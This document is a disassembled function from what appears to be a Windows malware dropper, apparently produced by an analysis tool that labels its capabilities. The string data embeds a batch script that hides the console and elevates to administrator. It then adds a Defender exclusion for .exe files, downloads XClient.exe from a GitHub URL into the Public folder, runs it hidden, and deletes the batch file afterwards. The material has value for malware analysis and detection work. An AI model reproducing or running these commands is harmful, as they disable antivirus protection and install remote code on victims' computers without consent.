Function at 0x401790
Capabilities:
Delete file
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405230
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
push 0x220
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
call fcn.004042d6
mov dword [ebp - 0x58], eax
mov ecx, 0x87
mov dword [ebp - 0x48], 0x21d
mov esi, str._echo_off_n::_Check_for_admin_rights_nnet_session__nul_2_1_nif__errorlevel__neq_0___n____powershell__Command__Start_Process_cmd__ArgumentList__c__s0____Verb_RunAs__n____exit__b_n__n::_Your_script_commands_go_here_npowershell.exe__command__Import_Module_Defender__Add_MpPreference__ExclusionExtension_.exe__npowershell__windowstyle_hidden_Invoke_WebRequest__URI_https:__github.com_DemoTrojan_create_raw_main_XClient.exe__OutFile_C:UsersPublicDocument.exe_npowershell__windowstyle_Hidden_Start_Process__FilePath__C:UsersPublicDocument.exe__n
mov dword [ebp - 0x44], 0x21f
mov edi, eax
rep movsd dword es:[edi], dword [esi]
add esp, 4
movsb byte es:[edi], byte [esi]
mov byte [eax + 0x21d], 0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 0
call fcn.00401220
mov byte [ebp - 4], 1
mov eax, 0x7ffffffe
mov ecx, dword [ebp - 0x60]
sub eax, ecx
cmp eax, 0xb
jb 0x401cdb
cmp dword [ebp - 0x5c], 7
lea edx, [ebp - 0x70]
mov esi, 7
mov dword [ebp - 0x30], 0
cmova edx, dword [ebp - 0x70]
lea edi, [ebp - 0x40]
add ecx, 0xb
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x128], ecx
movups xmmword [ebp - 0x40], xmm0
cmp ecx, esi
jbe 0x4018fb
mov esi, ecx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x4018c1
mov eax, 0x7fffffff
mov esi, 0x7ffffffe
add eax, eax
cmp eax, 0x1000
jb 0x4018e1
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401ce0
push ecx
call fcn.004042d6
add esp, 4
test eax, eax
je 0x401cae
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x4018ec
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x401ce0
add eax, eax
jne 0x401893
xor edi, edi
jmp 0x4018f8
push eax
call fcn.004042d6
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x2c], esi
mov esi, dword [ebp - 0x60]
add esi, esi
mov dword [ebp - 0x30], ecx
push esi
push edx
push edi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str._script.bat]
xor ecx, ecx
add esp, 0xc
movups xmmword [esi + edi], xmm0
mov eax, dword [0x406600]
mov dword [esi + edi + 0x10], eax
mov ax, word [0x406604]
mov word [esi + edi + 0x14], ax
mov eax, dword [ebp - 0x60]
mov word [edi + eax*2 + 0x16], cx
mov byte [ebp - 4], 2
lea edx, [ebp - 0x40]
cmp dword [ebp - 0x2c], 7
lea edi, [ebp - 0x40]
mov eax, dword [ebp - 0x30]
xorps xmm0, xmm0
cmova edx, dword [ebp - 0x40]
cmova edi, dword [ebp - 0x40]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], ecx
lea edx, [edx + eax*2]
cmp edi, edx
jne 0x401974
mov esi, 0xf
mov byte [ebp - 0x28], cl
mov dword [ebp - 0x14], esi
jmp 0x401a60
sub edx, edi
mov dword [ebp - 0x14], 0xf
sar edx, 1
mov dword [ebp - 0x124], edx
cmp edx, 0x7fffffff
ja 0x401cdb
mov esi, 0xf
cmp edx, esi
jbe 0x401a26
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4019e2
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.004042d6
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x401cae
mov edx, dword [ebp - 0x124]
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], esi
jmp 0x401a29
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
jne 0x4019fb
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], esi
jmp 0x401a29
cmp eax, 0x1000
jb 0x401a0f
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401ce0
jmp 0x4019b8
push eax
call fcn.004042d6
mov edx, dword [ebp - 0x124]
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], esi
jmp 0x401a29
mov eax, dword [ebp - 0x28]
cmp esi, 0xf
lea ecx, [ebp - 0x28]
mov esi, edx
cmova ecx, eax
mov dword [ebp - 0x124], ecx
test edx, edx
je 0x401a50
nop
mov al, byte [edi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea edi, [edi + 2]
sub esi, 1
jne 0x401a40
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x18], edx
mov byte [eax + edx], 0
mov esi, dword [ebp - 0x14]
push 0xb0
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 3
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp esi, 0xf
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x120]
cmova eax, dword [ebp - 0x28]
push eax
call fcn.00403350
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x124], eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x120]
mov eax, dword [ebp - 0x120]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x401adb
mov edx, 0x406608
jmp 0x401b79
cmp dword [ebp - 0x44], 0xf
lea edx, [ebp - 0x58]
push dword [ebp - 0x48]
cmova edx, dword [ebp - 0x58]
lea ecx, [ebp - 0x120]
call fcn.00404010
add esp, 4
lea ecx, [ebp - 0x11c]
call fcn.004032c0
test eax, eax
jne 0x401b1e
push eax
mov eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x120]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.File_.bat
call fcn.00403590
cmp dword [ebp - 0x2c], 7
lea edx, [ebp - 0x40]
push dword [ebp - 0x30]
cmova edx, dword [ebp - 0x40]
mov ecx, eax
call fcn.00403e20
add esp, 4
mov ecx, eax
push 0x4037c0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
lea ecx, [ebp - 0x40]
call fcn.004013c0
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
test eax, eax
je 0x401b98
mov edx, 0x40665c
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x403a10
call fcn.004037f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, 1
jmp 0x401bb7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.File_.bat__
push 0x403a10
call fcn.004037f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor esi, esi
lea ecx, [ebp - 0x120]
call fcn.00401cf0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x401bf6
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401bec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401cae
push ecx
push edx
call fcn.00404306
add esp, 8
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 7
jbe 0x401c3e
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c34
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401cae
push ecx
push edx
call fcn.00404306
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2c], 7
cmp eax, 7
jbe 0x401c88
mov edx, dword [ebp - 0x70]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401cae
push ecx
push edx
call fcn.00404306
add esp, 8
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x401cbe
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401cb4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401cb4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404306
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004042c8
mov esp, ebp
pop ebp
ret
call fcn.00401170
call fcn.004010d0
int3